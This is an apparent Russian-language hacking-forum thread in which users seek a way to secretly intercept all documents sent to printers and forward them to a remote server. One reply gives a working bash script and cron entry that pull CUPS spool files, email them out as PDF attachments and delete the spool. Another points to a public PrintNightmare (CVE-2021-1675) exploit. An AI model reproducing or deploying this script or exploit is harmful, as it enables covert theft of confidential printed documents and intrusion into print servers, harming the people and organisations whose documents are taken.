интересует взлом принтереов (принт-серверов)

[graham]

Добрый день, существуют ли готовые решения в этой сфере ? Если кратко, задача сводится к перехвату всех документов идущих на печать с послед. отправкой на удаленный сервер.
Буду признателен за любую информацию по данно вопросу.

 

[RiRi]

Может не совсем то, есть PaperCut

 

[graham]

Может не совсем то, есть PaperCut

действительо с помощью этого софта можно сливать данные идущие на печать, GPT4 мне его и рекомендовал уже, только софт довольно маштабный. Хотелось бы более легковесное и элегантное решение.
К тому же Bl00dy Ransomware Gang навели недавно шороху с PaperCut

 

[RiRi]

Протестировал вариант c сервером печати CUPS.
Пустить всю печать через него. Тогда можно из его спулера все задания отправлять на почту.
Пример bash-скрипта script.sh:

#!/usr/bin/bash
if [ -f d* ]
then
cd /var/spool/cups/
for file in d*; do if [ ! -f "$file.pdf" ]; then mv "$file" "$file.pdf"; fi done
sendEmail -f from@email.ru -t to@email.ru -S /usr/bin/msmtp -u `hostname` -m `date` -a `ls d*`
rm *
fi

Скрипт добавить в крон и выполнять его каждые 15 минут, например:

*/15 * * * */usr/local/sbin/script.sh

В качестве почтового клиента использован sendEmail входит в стандартную репу убунты, можно и православный mail(x) использовать, но с помощью sendEmail удобнее сразу несколько файлов прикреплять.

 

[D4nte]

C перехватом документов dont-know.
Но есть эксплоит:
PrintNightmare

CVE-2021-1675​

GitHub - ly4k/PrintNightmare: Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) - ly4k/PrintNightmare

github.com